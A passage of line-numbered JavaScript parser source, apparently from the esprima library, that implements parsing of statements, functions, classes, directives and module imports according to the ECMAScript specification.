3880 if (!Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) {
3881 this.throwError(messages_1.Messages.UnknownLabel, id.name);
3882 }
3883 }
3884 this.consumeSemicolon();
3885 if (label === null && !this.context.inIteration) {
3886 this.throwError(messages_1.Messages.IllegalContinue);
3887 }
3888 return this.finalize(node, new Node.ContinueStatement(label));
3889 };
3890 // https://tc39.github.io/ecma262/#sec-break-statement
3891 Parser.prototype.parseBreakStatement = function () {
3892 var node = this.createNode();
3893 this.expectKeyword('break');
3894 var label = null;
3895 if (this.lookahead.type === 3 /* Identifier */ && !this.hasLineTerminator) {
3896 var id = this.parseVariableIdentifier();
3897 var key = '$' + id.name;
3898 if (!Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) {
3899 this.throwError(messages_1.Messages.UnknownLabel, id.name);
3900 }
3901 label = id;
3902 }
3903 this.consumeSemicolon();
3904 if (label === null && !this.context.inIteration && !this.context.inSwitch) {
3905 this.throwError(messages_1.Messages.IllegalBreak);
3906 }
3907 return this.finalize(node, new Node.BreakStatement(label));
3908 };
3909 // https://tc39.github.io/ecma262/#sec-return-statement
3910 Parser.prototype.parseReturnStatement = function () {
3911 if (!this.context.inFunctionBody) {
3912 this.tolerateError(messages_1.Messages.IllegalReturn);
3913 }
3914 var node = this.createNode();
3915 this.expectKeyword('return');
3916 var hasArgument = (!this.match(';') && !this.match('}') &&
3917 !this.hasLineTerminator && this.lookahead.type !== 2 /* EOF */) ||
3918 this.lookahead.type === 8 /* StringLiteral */ ||
3919 this.lookahead.type === 10 /* Template */;
3920 var argument = hasArgument ? this.parseExpression() : null;
3921 this.consumeSemicolon();
3922 return this.finalize(node, new Node.ReturnStatement(argument));
3923 };
3924 // https://tc39.github.io/ecma262/#sec-with-statement
3925 Parser.prototype.parseWithStatement = function () {
3926 if (this.context.strict) {
3927 this.tolerateError(messages_1.Messages.StrictModeWith);
3928 }
3929 var node = this.createNode();
3930 var body;
3931 this.expectKeyword('with');
3932 this.expect('(');
3933 var object = this.parseExpression();
3934 if (!this.match(')') && this.config.tolerant) {
3935 this.tolerateUnexpectedToken(this.nextToken());
3936 body = this.finalize(this.createNode(), new Node.EmptyStatement());
3937 }
3938 else {
3939 this.expect(')');
3940 body = this.parseStatement();
3941 }
3942 return this.finalize(node, new Node.WithStatement(object, body));
3943 };
3944 // https://tc39.github.io/ecma262/#sec-switch-statement
3945 Parser.prototype.parseSwitchCase = function () {
3946 var node = this.createNode();
3947 var test;
3948 if (this.matchKeyword('default')) {
3949 this.nextToken();
3950 test = null;
3951 }
3952 else {
3953 this.expectKeyword('case');
3954 test = this.parseExpression();
3955 }
3956 this.expect(':');
3957 var consequent = [];
3958 while (true) {
3959 if (this.match('}') || this.matchKeyword('default') || this.matchKeyword('case')) {
3960 break;
3961 }
3962 consequent.push(this.parseStatementListItem());
3963 }
3964 return this.finalize(node, new Node.SwitchCase(test, consequent));
3965 };
3966 Parser.prototype.parseSwitchStatement = function () {
3967 var node = this.createNode();
3968 this.expectKeyword('switch');
3969 this.expect('(');
3970 var discriminant = this.parseExpression();
3971 this.expect(')');
3972 var previousInSwitch = this.context.inSwitch;
3973 this.context.inSwitch = true;
3974 var cases = [];
3975 var defaultFound = false;
3976 this.expect('{');
3977 while (true) {
3978 if (this.match('}')) {
3979 break;
3980 }
3981 var clause = this.parseSwitchCase();
3982 if (clause.test === null) {
3983 if (defaultFound) {
3984 this.throwError(messages_1.Messages.MultipleDefaultsInSwitch);
3985 }
3986 defaultFound = true;
3987 }
3988 cases.push(clause);
3989 }
3990 this.expect('}');
3991 this.context.inSwitch = previousInSwitch;
3992 return this.finalize(node, new Node.SwitchStatement(discriminant, cases));
3993 };
3994 // https://tc39.github.io/ecma262/#sec-labelled-statements
3995 Parser.prototype.parseLabelledStatement = function () {
3996 var node = this.createNode();
3997 var expr = this.parseExpression();
3998 var statement;
3999 if ((expr.type === syntax_1.Syntax.Identifier) && this.match(':')) {
4000 this.nextToken();
4001 var id = expr;
4002 var key = '$' + id.name;
4003 if (Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) {
4004 this.throwError(messages_1.Messages.Redeclaration, 'Label', id.name);
4005 }
4006 this.context.labelSet[key] = true;
4007 var body = void 0;
4008 if (this.matchKeyword('class')) {
4009 this.tolerateUnexpectedToken(this.lookahead);
4010 body = this.parseClassDeclaration();
4011 }
4012 else if (this.matchKeyword('function')) {
4013 var token = this.lookahead;
4014 var declaration = this.parseFunctionDeclaration();
4015 if (this.context.strict) {
4016 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunction);
4017 }
4018 else if (declaration.generator) {
4019 this.tolerateUnexpectedToken(token, messages_1.Messages.GeneratorInLegacyContext);
4020 }
4021 body = declaration;
4022 }
4023 else {
4024 body = this.parseStatement();
4025 }
4026 delete this.context.labelSet[key];
4027 statement = new Node.LabeledStatement(id, body);
4028 }
4029 else {
4030 this.consumeSemicolon();
4031 statement = new Node.ExpressionStatement(expr);
4032 }
4033 return this.finalize(node, statement);
4034 };
4035 // https://tc39.github.io/ecma262/#sec-throw-statement
4036 Parser.prototype.parseThrowStatement = function () {
4037 var node = this.createNode();
4038 this.expectKeyword('throw');
4039 if (this.hasLineTerminator) {
4040 this.throwError(messages_1.Messages.NewlineAfterThrow);
4041 }
4042 var argument = this.parseExpression();
4043 this.consumeSemicolon();
4044 return this.finalize(node, new Node.ThrowStatement(argument));
4045 };
4046 // https://tc39.github.io/ecma262/#sec-try-statement
4047 Parser.prototype.parseCatchClause = function () {
4048 var node = this.createNode();
4049 this.expectKeyword('catch');
4050 this.expect('(');
4051 if (this.match(')')) {
4052 this.throwUnexpectedToken(this.lookahead);
4053 }
4054 var params = [];
4055 var param = this.parsePattern(params);
4056 var paramMap = {};
4057 for (var i = 0; i < params.length; i++) {
4058 var key = '$' + params[i].value;
4059 if (Object.prototype.hasOwnProperty.call(paramMap, key)) {
4060 this.tolerateError(messages_1.Messages.DuplicateBinding, params[i].value);
4061 }
4062 paramMap[key] = true;
4063 }
4064 if (this.context.strict && param.type === syntax_1.Syntax.Identifier) {
4065 if (this.scanner.isRestrictedWord(param.name)) {
4066 this.tolerateError(messages_1.Messages.StrictCatchVariable);
4067 }
4068 }
4069 this.expect(')');
4070 var body = this.parseBlock();
4071 return this.finalize(node, new Node.CatchClause(param, body));
4072 };
4073 Parser.prototype.parseFinallyClause = function () {
4074 this.expectKeyword('finally');
4075 return this.parseBlock();
4076 };
4077 Parser.prototype.parseTryStatement = function () {
4078 var node = this.createNode();
4079 this.expectKeyword('try');
4080 var block = this.parseBlock();
4081 var handler = this.matchKeyword('catch') ? this.parseCatchClause() : null;
4082 var finalizer = this.matchKeyword('finally') ? this.parseFinallyClause() : null;
4083 if (!handler && !finalizer) {
4084 this.throwError(messages_1.Messages.NoCatchOrFinally);
4085 }
4086 return this.finalize(node, new Node.TryStatement(block, handler, finalizer));
4087 };
4088 // https://tc39.github.io/ecma262/#sec-debugger-statement
4089 Parser.prototype.parseDebuggerStatement = function () {
4090 var node = this.createNode();
4091 this.expectKeyword('debugger');
4092 this.consumeSemicolon();
4093 return this.finalize(node, new Node.DebuggerStatement());
4094 };
4095 // https://tc39.github.io/ecma262/#sec-ecmascript-language-statements-and-declarations
4096 Parser.prototype.parseStatement = function () {
4097 var statement;
4098 switch (this.lookahead.type) {
4099 case 1 /* BooleanLiteral */:
4100 case 5 /* NullLiteral */:
4101 case 6 /* NumericLiteral */:
4102 case 8 /* StringLiteral */:
4103 case 10 /* Template */:
4104 case 9 /* RegularExpression */:
4105 statement = this.parseExpressionStatement();
4106 break;
4107 case 7 /* Punctuator */:
4108 var value = this.lookahead.value;
4109 if (value === '{') {
4110 statement = this.parseBlock();
4111 }
4112 else if (value === '(') {
4113 statement = this.parseExpressionStatement();
4114 }
4115 else if (value === ';') {
4116 statement = this.parseEmptyStatement();
4117 }
4118 else {
4119 statement = this.parseExpressionStatement();
4120 }
4121 break;
4122 case 3 /* Identifier */:
4123 statement = this.matchAsyncFunction() ? this.parseFunctionDeclaration() : this.parseLabelledStatement();
4124 break;
4125 case 4 /* Keyword */:
4126 switch (this.lookahead.value) {
4127 case 'break':
4128 statement = this.parseBreakStatement();
4129 break;
4130 case 'continue':
4131 statement = this.parseContinueStatement();
4132 break;
4133 case 'debugger':
4134 statement = this.parseDebuggerStatement();
4135 break;
4136 case 'do':
4137 statement = this.parseDoWhileStatement();
4138 break;
4139 case 'for':
4140 statement = this.parseForStatement();
4141 break;
4142 case 'function':
4143 statement = this.parseFunctionDeclaration();
4144 break;
4145 case 'if':
4146 statement = this.parseIfStatement();
4147 break;
4148 case 'return':
4149 statement = this.parseReturnStatement();
4150 break;
4151 case 'switch':
4152 statement = this.parseSwitchStatement();
4153 break;
4154 case 'throw':
4155 statement = this.parseThrowStatement();
4156 break;
4157 case 'try':
4158 statement = this.parseTryStatement();
4159 break;
4160 case 'var':
4161 statement = this.parseVariableStatement();
4162 break;
4163 case 'while':
4164 statement = this.parseWhileStatement();
4165 break;
4166 case 'with':
4167 statement = this.parseWithStatement();
4168 break;
4169 default:
4170 statement = this.parseExpressionStatement();
4171 break;
4172 }
4173 break;
4174 default:
4175 statement = this.throwUnexpectedToken(this.lookahead);
4176 }
4177 return statement;
4178 };
4179 // https://tc39.github.io/ecma262/#sec-function-definitions
4180 Parser.prototype.parseFunctionSourceElements = function () {
4181 var node = this.createNode();
4182 this.expect('{');
4183 var body = this.parseDirectivePrologues();
4184 var previousLabelSet = this.context.labelSet;
4185 var previousInIteration = this.context.inIteration;
4186 var previousInSwitch = this.context.inSwitch;
4187 var previousInFunctionBody = this.context.inFunctionBody;
4188 this.context.labelSet = {};
4189 this.context.inIteration = false;
4190 this.context.inSwitch = false;
4191 this.context.inFunctionBody = true;
4192 while (this.lookahead.type !== 2 /* EOF */) {
4193 if (this.match('}')) {
4194 break;
4195 }
4196 body.push(this.parseStatementListItem());
4197 }
4198 this.expect('}');
4199 this.context.labelSet = previousLabelSet;
4200 this.context.inIteration = previousInIteration;
4201 this.context.inSwitch = previousInSwitch;
4202 this.context.inFunctionBody = previousInFunctionBody;
4203 return this.finalize(node, new Node.BlockStatement(body));
4204 };
4205 Parser.prototype.validateParam = function (options, param, name) {
4206 var key = '$' + name;
4207 if (this.context.strict) {
4208 if (this.scanner.isRestrictedWord(name)) {
4209 options.stricted = param;
4210 options.message = messages_1.Messages.StrictParamName;
4211 }
4212 if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) {
4213 options.stricted = param;
4214 options.message = messages_1.Messages.StrictParamDupe;
4215 }
4216 }
4217 else if (!options.firstRestricted) {
4218 if (this.scanner.isRestrictedWord(name)) {
4219 options.firstRestricted = param;
4220 options.message = messages_1.Messages.StrictParamName;
4221 }
4222 else if (this.scanner.isStrictModeReservedWord(name)) {
4223 options.firstRestricted = param;
4224 options.message = messages_1.Messages.StrictReservedWord;
4225 }
4226 else if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) {
4227 options.stricted = param;
4228 options.message = messages_1.Messages.StrictParamDupe;
4229 }
4230 }
4231 /* istanbul ignore next */
4232 if (typeof Object.defineProperty === 'function') {
4233 Object.defineProperty(options.paramSet, key, { value: true, enumerable: true, writable: true, configurable: true });
4234 }
4235 else {
4236 options.paramSet[key] = true;
4237 }
4238 };
4239 Parser.prototype.parseRestElement = function (params) {
4240 var node = this.createNode();
4241 this.expect('...');
4242 var arg = this.parsePattern(params);
4243 if (this.match('=')) {
4244 this.throwError(messages_1.Messages.DefaultRestParameter);
4245 }
4246 if (!this.match(')')) {
4247 this.throwError(messages_1.Messages.ParameterAfterRestParameter);
4248 }
4249 return this.finalize(node, new Node.RestElement(arg));
4250 };
4251 Parser.prototype.parseFormalParameter = function (options) {
4252 var params = [];
4253 var param = this.match('...') ? this.parseRestElement(params) : this.parsePatternWithDefault(params);
4254 for (var i = 0; i < params.length; i++) {
4255 this.validateParam(options, params[i], params[i].value);
4256 }
4257 options.simple = options.simple && (param instanceof Node.Identifier);
4258 options.params.push(param);
4259 };
4260 Parser.prototype.parseFormalParameters = function (firstRestricted) {
4261 var options;
4262 options = {
4263 simple: true,
4264 params: [],
4265 firstRestricted: firstRestricted
4266 };
4267 this.expect('(');
4268 if (!this.match(')')) {
4269 options.paramSet = {};
4270 while (this.lookahead.type !== 2 /* EOF */) {
4271 this.parseFormalParameter(options);
4272 if (this.match(')')) {
4273 break;
4274 }
4275 this.expect(',');
4276 if (this.match(')')) {
4277 break;
4278 }
4279 }
4280 }
4281 this.expect(')');
4282 return {
4283 simple: options.simple,
4284 params: options.params,
4285 stricted: options.stricted,
4286 firstRestricted: options.firstRestricted,
4287 message: options.message
4288 };
4289 };
4290 Parser.prototype.matchAsyncFunction = function () {
4291 var match = this.matchContextualKeyword('async');
4292 if (match) {
4293 var state = this.scanner.saveState();
4294 this.scanner.scanComments();
4295 var next = this.scanner.lex();
4296 this.scanner.restoreState(state);
4297 match = (state.lineNumber === next.lineNumber) && (next.type === 4 /* Keyword */) && (next.value === 'function');
4298 }
4299 return match;
4300 };
4301 Parser.prototype.parseFunctionDeclaration = function (identifierIsOptional) {
4302 var node = this.createNode();
4303 var isAsync = this.matchContextualKeyword('async');
4304 if (isAsync) {
4305 this.nextToken();
4306 }
4307 this.expectKeyword('function');
4308 var isGenerator = isAsync ? false : this.match('*');
4309 if (isGenerator) {
4310 this.nextToken();
4311 }
4312 var message;
4313 var id = null;
4314 var firstRestricted = null;
4315 if (!identifierIsOptional || !this.match('(')) {
4316 var token = this.lookahead;
4317 id = this.parseVariableIdentifier();
4318 if (this.context.strict) {
4319 if (this.scanner.isRestrictedWord(token.value)) {
4320 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunctionName);
4321 }
4322 }
4323 else {
4324 if (this.scanner.isRestrictedWord(token.value)) {
4325 firstRestricted = token;
4326 message = messages_1.Messages.StrictFunctionName;
4327 }
4328 else if (this.scanner.isStrictModeReservedWord(token.value)) {
4329 firstRestricted = token;
4330 message = messages_1.Messages.StrictReservedWord;
4331 }
4332 }
4333 }
4334 var previousAllowAwait = this.context.await;
4335 var previousAllowYield = this.context.allowYield;
4336 this.context.await = isAsync;
4337 this.context.allowYield = !isGenerator;
4338 var formalParameters = this.parseFormalParameters(firstRestricted);
4339 var params = formalParameters.params;
4340 var stricted = formalParameters.stricted;
4341 firstRestricted = formalParameters.firstRestricted;
4342 if (formalParameters.message) {
4343 message = formalParameters.message;
4344 }
4345 var previousStrict = this.context.strict;
4346 var previousAllowStrictDirective = this.context.allowStrictDirective;
4347 this.context.allowStrictDirective = formalParameters.simple;
4348 var body = this.parseFunctionSourceElements();
4349 if (this.context.strict && firstRestricted) {
4350 this.throwUnexpectedToken(firstRestricted, message);
4351 }
4352 if (this.context.strict && stricted) {
4353 this.tolerateUnexpectedToken(stricted, message);
4354 }
4355 this.context.strict = previousStrict;
4356 this.context.allowStrictDirective = previousAllowStrictDirective;
4357 this.context.await = previousAllowAwait;
4358 this.context.allowYield = previousAllowYield;
4359 return isAsync ? this.finalize(node, new Node.AsyncFunctionDeclaration(id, params, body)) :
4360 this.finalize(node, new Node.FunctionDeclaration(id, params, body, isGenerator));
4361 };
4362 Parser.prototype.parseFunctionExpression = function () {
4363 var node = this.createNode();
4364 var isAsync = this.matchContextualKeyword('async');
4365 if (isAsync) {
4366 this.nextToken();
4367 }
4368 this.expectKeyword('function');
4369 var isGenerator = isAsync ? false : this.match('*');
4370 if (isGenerator) {
4371 this.nextToken();
4372 }
4373 var message;
4374 var id = null;
4375 var firstRestricted;
4376 var previousAllowAwait = this.context.await;
4377 var previousAllowYield = this.context.allowYield;
4378 this.context.await = isAsync;
4379 this.context.allowYield = !isGenerator;
4380 if (!this.match('(')) {
4381 var token = this.lookahead;
4382 id = (!this.context.strict && !isGenerator && this.matchKeyword('yield')) ? this.parseIdentifierName() : this.parseVariableIdentifier();
4383 if (this.context.strict) {
4384 if (this.scanner.isRestrictedWord(token.value)) {
4385 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunctionName);
4386 }
4387 }
4388 else {
4389 if (this.scanner.isRestrictedWord(token.value)) {
4390 firstRestricted = token;
4391 message = messages_1.Messages.StrictFunctionName;
4392 }
4393 else if (this.scanner.isStrictModeReservedWord(token.value)) {
4394 firstRestricted = token;
4395 message = messages_1.Messages.StrictReservedWord;
4396 }
4397 }
4398 }
4399 var formalParameters = this.parseFormalParameters(firstRestricted);
4400 var params = formalParameters.params;
4401 var stricted = formalParameters.stricted;
4402 firstRestricted = formalParameters.firstRestricted;
4403 if (formalParameters.message) {
4404 message = formalParameters.message;
4405 }
4406 var previousStrict = this.context.strict;
4407 var previousAllowStrictDirective = this.context.allowStrictDirective;
4408 this.context.allowStrictDirective = formalParameters.simple;
4409 var body = this.parseFunctionSourceElements();
4410 if (this.context.strict && firstRestricted) {
4411 this.throwUnexpectedToken(firstRestricted, message);
4412 }
4413 if (this.context.strict && stricted) {
4414 this.tolerateUnexpectedToken(stricted, message);
4415 }
4416 this.context.strict = previousStrict;
4417 this.context.allowStrictDirective = previousAllowStrictDirective;
4418 this.context.await = previousAllowAwait;
4419 this.context.allowYield = previousAllowYield;
4420 return isAsync ? this.finalize(node, new Node.AsyncFunctionExpression(id, params, body)) :
4421 this.finalize(node, new Node.FunctionExpression(id, params, body, isGenerator));
4422 };
4423 // https://tc39.github.io/ecma262/#sec-directive-prologues-and-the-use-strict-directive
4424 Parser.prototype.parseDirective = function () {
4425 var token = this.lookahead;
4426 var node = this.createNode();
4427 var expr = this.parseExpression();
4428 var directive = (expr.type === syntax_1.Syntax.Literal) ? this.getTokenRaw(token).slice(1, -1) : null;
4429 this.consumeSemicolon();
4430 return this.finalize(node, directive ? new Node.Directive(expr, directive) : new Node.ExpressionStatement(expr));
4431 };
4432 Parser.prototype.parseDirectivePrologues = function () {
4433 var firstRestricted = null;
4434 var body = [];
4435 while (true) {
4436 var token = this.lookahead;
4437 if (token.type !== 8 /* StringLiteral */) {
4438 break;
4439 }
4440 var statement = this.parseDirective();
4441 body.push(statement);
4442 var directive = statement.directive;
4443 if (typeof directive !== 'string') {
4444 break;
4445 }
4446 if (directive === 'use strict') {
4447 this.context.strict = true;
4448 if (firstRestricted) {
4449 this.tolerateUnexpectedToken(firstRestricted, messages_1.Messages.StrictOctalLiteral);
4450 }
4451 if (!this.context.allowStrictDirective) {
4452 this.tolerateUnexpectedToken(token, messages_1.Messages.IllegalLanguageModeDirective);
4453 }
4454 }
4455 else {
4456 if (!firstRestricted && token.octal) {
4457 firstRestricted = token;
4458 }
4459 }
4460 }
4461 return body;
4462 };
4463 // https://tc39.github.io/ecma262/#sec-method-definitions
4464 Parser.prototype.qualifiedPropertyName = function (token) {
4465 switch (token.type) {
4466 case 3 /* Identifier */:
4467 case 8 /* StringLiteral */:
4468 case 1 /* BooleanLiteral */:
4469 case 5 /* NullLiteral */:
4470 case 6 /* NumericLiteral */:
4471 case 4 /* Keyword */:
4472 return true;
4473 case 7 /* Punctuator */:
4474 return token.value === '[';
4475 default:
4476 break;
4477 }
4478 return false;
4479 };
4480 Parser.prototype.parseGetterMethod = function () {
4481 var node = this.createNode();
4482 var isGenerator = false;
4483 var previousAllowYield = this.context.allowYield;
4484 this.context.allowYield = !isGenerator;
4485 var formalParameters = this.parseFormalParameters();
4486 if (formalParameters.params.length > 0) {
4487 this.tolerateError(messages_1.Messages.BadGetterArity);
4488 }
4489 var method = this.parsePropertyMethod(formalParameters);
4490 this.context.allowYield = previousAllowYield;
4491 return this.finalize(node, new Node.FunctionExpression(null, formalParameters.params, method, isGenerator));
4492 };
4493 Parser.prototype.parseSetterMethod = function () {
4494 var node = this.createNode();
4495 var isGenerator = false;
4496 var previousAllowYield = this.context.allowYield;
4497 this.context.allowYield = !isGenerator;
4498 var formalParameters = this.parseFormalParameters();
4499 if (formalParameters.params.length !== 1) {
4500 this.tolerateError(messages_1.Messages.BadSetterArity);
4501 }
4502 else if (formalParameters.params[0] instanceof Node.RestElement) {
4503 this.tolerateError(messages_1.Messages.BadSetterRestParameter);
4504 }
4505 var method = this.parsePropertyMethod(formalParameters);
4506 this.context.allowYield = previousAllowYield;
4507 return this.finalize(node, new Node.FunctionExpression(null, formalParameters.params, method, isGenerator));
4508 };
4509 Parser.prototype.parseGeneratorMethod = function () {
4510 var node = this.createNode();
4511 var isGenerator = true;
4512 var previousAllowYield = this.context.allowYield;
4513 this.context.allowYield = true;
4514 var params = this.parseFormalParameters();
4515 this.context.allowYield = false;
4516 var method = this.parsePropertyMethod(params);
4517 this.context.allowYield = previousAllowYield;
4518 return this.finalize(node, new Node.FunctionExpression(null, params.params, method, isGenerator));
4519 };
4520 // https://tc39.github.io/ecma262/#sec-generator-function-definitions
4521 Parser.prototype.isStartOfExpression = function () {
4522 var start = true;
4523 var value = this.lookahead.value;
4524 switch (this.lookahead.type) {
4525 case 7 /* Punctuator */:
4526 start = (value === '[') || (value === '(') || (value === '{') ||
4527 (value === '+') || (value === '-') ||
4528 (value === '!') || (value === '~') ||
4529 (value === '++') || (value === '--') ||
4530 (value === '/') || (value === '/='); // regular expression literal
4531 break;
4532 case 4 /* Keyword */:
4533 start = (value === 'class') || (value === 'delete') ||
4534 (value === 'function') || (value === 'let') || (value === 'new') ||
4535 (value === 'super') || (value === 'this') || (value === 'typeof') ||
4536 (value === 'void') || (value === 'yield');
4537 break;
4538 default:
4539 break;
4540 }
4541 return start;
4542 };
4543 Parser.prototype.parseYieldExpression = function () {
4544 var node = this.createNode();
4545 this.expectKeyword('yield');
4546 var argument = null;
4547 var delegate = false;
4548 if (!this.hasLineTerminator) {
4549 var previousAllowYield = this.context.allowYield;
4550 this.context.allowYield = false;
4551 delegate = this.match('*');
4552 if (delegate) {
4553 this.nextToken();
4554 argument = this.parseAssignmentExpression();
4555 }
4556 else if (this.isStartOfExpression()) {
4557 argument = this.parseAssignmentExpression();
4558 }
4559 this.context.allowYield = previousAllowYield;
4560 }
4561 return this.finalize(node, new Node.YieldExpression(argument, delegate));
4562 };
4563 // https://tc39.github.io/ecma262/#sec-class-definitions
4564 Parser.prototype.parseClassElement = function (hasConstructor) {
4565 var token = this.lookahead;
4566 var node = this.createNode();
4567 var kind = '';
4568 var key = null;
4569 var value = null;
4570 var computed = false;
4571 var method = false;
4572 var isStatic = false;
4573 var isAsync = false;
4574 if (this.match('*')) {
4575 this.nextToken();
4576 }
4577 else {
4578 computed = this.match('[');
4579 key = this.parseObjectPropertyKey();
4580 var id = key;
4581 if (id.name === 'static' && (this.qualifiedPropertyName(this.lookahead) || this.match('*'))) {
4582 token = this.lookahead;
4583 isStatic = true;
4584 computed = this.match('[');
4585 if (this.match('*')) {
4586 this.nextToken();
4587 }
4588 else {
4589 key = this.parseObjectPropertyKey();
4590 }
4591 }
4592 if ((token.type === 3 /* Identifier */) && !this.hasLineTerminator && (token.value === 'async')) {
4593 var punctuator = this.lookahead.value;
4594 if (punctuator !== ':' && punctuator !== '(' && punctuator !== '*') {
4595 isAsync = true;
4596 token = this.lookahead;
4597 key = this.parseObjectPropertyKey();
4598 if (token.type === 3 /* Identifier */ && token.value === 'constructor') {
4599 this.tolerateUnexpectedToken(token, messages_1.Messages.ConstructorIsAsync);
4600 }
4601 }
4602 }
4603 }
4604 var lookaheadPropertyKey = this.qualifiedPropertyName(this.lookahead);
4605 if (token.type === 3 /* Identifier */) {
4606 if (token.value === 'get' && lookaheadPropertyKey) {
4607 kind = 'get';
4608 computed = this.match('[');
4609 key = this.parseObjectPropertyKey();
4610 this.context.allowYield = false;
4611 value = this.parseGetterMethod();
4612 }
4613 else if (token.value === 'set' && lookaheadPropertyKey) {
4614 kind = 'set';
4615 computed = this.match('[');
4616 key = this.parseObjectPropertyKey();
4617 value = this.parseSetterMethod();
4618 }
4619 }
4620 else if (token.type === 7 /* Punctuator */ && token.value === '*' && lookaheadPropertyKey) {
4621 kind = 'init';
4622 computed = this.match('[');
4623 key = this.parseObjectPropertyKey();
4624 value = this.parseGeneratorMethod();
4625 method = true;
4626 }
4627 if (!kind && key && this.match('(')) {
4628 kind = 'init';
4629 value = isAsync ? this.parsePropertyMethodAsyncFunction() : this.parsePropertyMethodFunction();
4630 method = true;
4631 }
4632 if (!kind) {
4633 this.throwUnexpectedToken(this.lookahead);
4634 }
4635 if (kind === 'init') {
4636 kind = 'method';
4637 }
4638 if (!computed) {
4639 if (isStatic && this.isPropertyKey(key, 'prototype')) {
4640 this.throwUnexpectedToken(token, messages_1.Messages.StaticPrototype);
4641 }
4642 if (!isStatic && this.isPropertyKey(key, 'constructor')) {
4643 if (kind !== 'method' || !method || (value && value.generator)) {
4644 this.throwUnexpectedToken(token, messages_1.Messages.ConstructorSpecialMethod);
4645 }
4646 if (hasConstructor.value) {
4647 this.throwUnexpectedToken(token, messages_1.Messages.DuplicateConstructor);
4648 }
4649 else {
4650 hasConstructor.value = true;
4651 }
4652 kind = 'constructor';
4653 }
4654 }
4655 return this.finalize(node, new Node.MethodDefinition(key, computed, value, kind, isStatic));
4656 };
4657 Parser.prototype.parseClassElementList = function () {
4658 var body = [];
4659 var hasConstructor = { value: false };
4660 this.expect('{');
4661 while (!this.match('}')) {
4662 if (this.match(';')) {
4663 this.nextToken();
4664 }
4665 else {
4666 body.push(this.parseClassElement(hasConstructor));
4667 }
4668 }
4669 this.expect('}');
4670 return body;
4671 };
4672 Parser.prototype.parseClassBody = function () {
4673 var node = this.createNode();
4674 var elementList = this.parseClassElementList();
4675 return this.finalize(node, new Node.ClassBody(elementList));
4676 };
4677 Parser.prototype.parseClassDeclaration = function (identifierIsOptional) {
4678 var node = this.createNode();
4679 var previousStrict = this.context.strict;
4680 this.context.strict = true;
4681 this.expectKeyword('class');
4682 var id = (identifierIsOptional && (this.lookahead.type !== 3 /* Identifier */)) ? null : this.parseVariableIdentifier();
4683 var superClass = null;
4684 if (this.matchKeyword('extends')) {
4685 this.nextToken();
4686 superClass = this.isolateCoverGrammar(this.parseLeftHandSideExpressionAllowCall);
4687 }
4688 var classBody = this.parseClassBody();
4689 this.context.strict = previousStrict;
4690 return this.finalize(node, new Node.ClassDeclaration(id, superClass, classBody));
4691 };
4692 Parser.prototype.parseClassExpression = function () {
4693 var node = this.createNode();
4694 var previousStrict = this.context.strict;
4695 this.context.strict = true;
4696 this.expectKeyword('class');
4697 var id = (this.lookahead.type === 3 /* Identifier */) ? this.parseVariableIdentifier() : null;
4698 var superClass = null;
4699 if (this.matchKeyword('extends')) {
4700 this.nextToken();
4701 superClass = this.isolateCoverGrammar(this.parseLeftHandSideExpressionAllowCall);
4702 }
4703 var classBody = this.parseClassBody();
4704 this.context.strict = previousStrict;
4705 return this.finalize(node, new Node.ClassExpression(id, superClass, classBody));
4706 };
4707 // https://tc39.github.io/ecma262/#sec-scripts
4708 // https://tc39.github.io/ecma262/#sec-modules
4709 Parser.prototype.parseModule = function () {
4710 this.context.strict = true;
4711 this.context.isModule = true;
4712 this.scanner.isModule = true;
4713 var node = this.createNode();
4714 var body = this.parseDirectivePrologues();
4715 while (this.lookahead.type !== 2 /* EOF */) {
4716 body.push(this.parseStatementListItem());
4717 }
4718 return this.finalize(node, new Node.Module(body));
4719 };
4720 Parser.prototype.parseScript = function () {
4721 var node = this.createNode();
4722 var body = this.parseDirectivePrologues();
4723 while (this.lookahead.type !== 2 /* EOF */) {
4724 body.push(this.parseStatementListItem());
4725 }
4726 return this.finalize(node, new Node.Script(body));
4727 };
4728 // https://tc39.github.io/ecma262/#sec-imports
4729 Parser.prototype.parseModuleSpecifier = function () {
4730 var node = this.createNode();
4731 if (this.lookahead.type !== 8 /* StringLiteral */) {
4732 this.throwError(messages_1.Messages.InvalidModuleSpecifier);
4733 }
4734 var token = this.nextToken();
4735 var raw = this.getTokenRaw(token);
4736 return this.finalize(node, new Node.Literal(token.value, raw));
4737 };
4738 // import {<foo as bar>} ...;
4739 Parser.prototype.parseImportSpecifier = function () {
4740 var node = this.createNode();
4741 var imported;
4742 var local;
4743 if (this.lookahead.type === 3 /* Identifier */) {
4744 imported = this.parseVariableIdentifier();
4745 local = imported;
4746 if (this.matchContextualKeyword('as')) {
4747 this.nextToken();
4748 local = this.parseVariableIdentifier();
4749 }
4750 }
4751 else {
4752 imported = this.parseIdentifierName();
4753 local = imported;
4754 if (this.matchContextualKeyword('as')) {
4755 this.nextToken();
4756 local = this.parseVariableIdentifier();
4757 }
4758 else {
4759 this.throwUnexpectedToken(this.nextToken());
4760 }
4761 }
4762 return this.finalize(node, new Node.ImportSpecifier(local, imported));
4763 };
4764 // {foo, bar as bas}
4765 Parser.prototype.parseNamedImports = function () {
4766 this.expect('{');
4767 var specifiers = [];
4768 while (!this.match('}')) {
4769 specifiers.push(this.parseImportSpecifier());
4770 if (!this.match('}')) {
4771 this.expect(',');
4772 }
4773 }
4774 this.expect('}');
4775 return specifiers;
4776 };
4777 // import <foo> ...;
4778 Parser.prototype.parseImportDefaultSpecifier = function () {
4779 var node = this.createNode();
4780 var local = this.parseIdentifierName();
4781 return this.finalize(node, new Node.ImportDefaultSpecifier(local));
4782 };
4783 // import <* as foo> ...;
4784 Parser.prototype.parseImportNamespaceSpecifier = function () {
4785 var node = this.createNode();
4786 this.expect('*');
4787 if (!this.matchContextualKeyword('as')) {
4788 this.throwError(messages_1.Messages.NoAsAfterImportNamespace);
4789 }
4790 this.nextToken();
4791 var local = this.parseIdentifierName();
4792 return this.finalize(node, new Node.ImportNamespaceSpecifier(local));
4793 };
4794 Parser.prototype.parseImportDeclaration = function () {
4795 if (this.context.inFunctionBody) {
4796 this.throwError(messages_1.Messages.IllegalImportDeclaration);
4797 }
4798 var node = this.createNode();
4799 this.expectKeyword('import');
4800 var src;
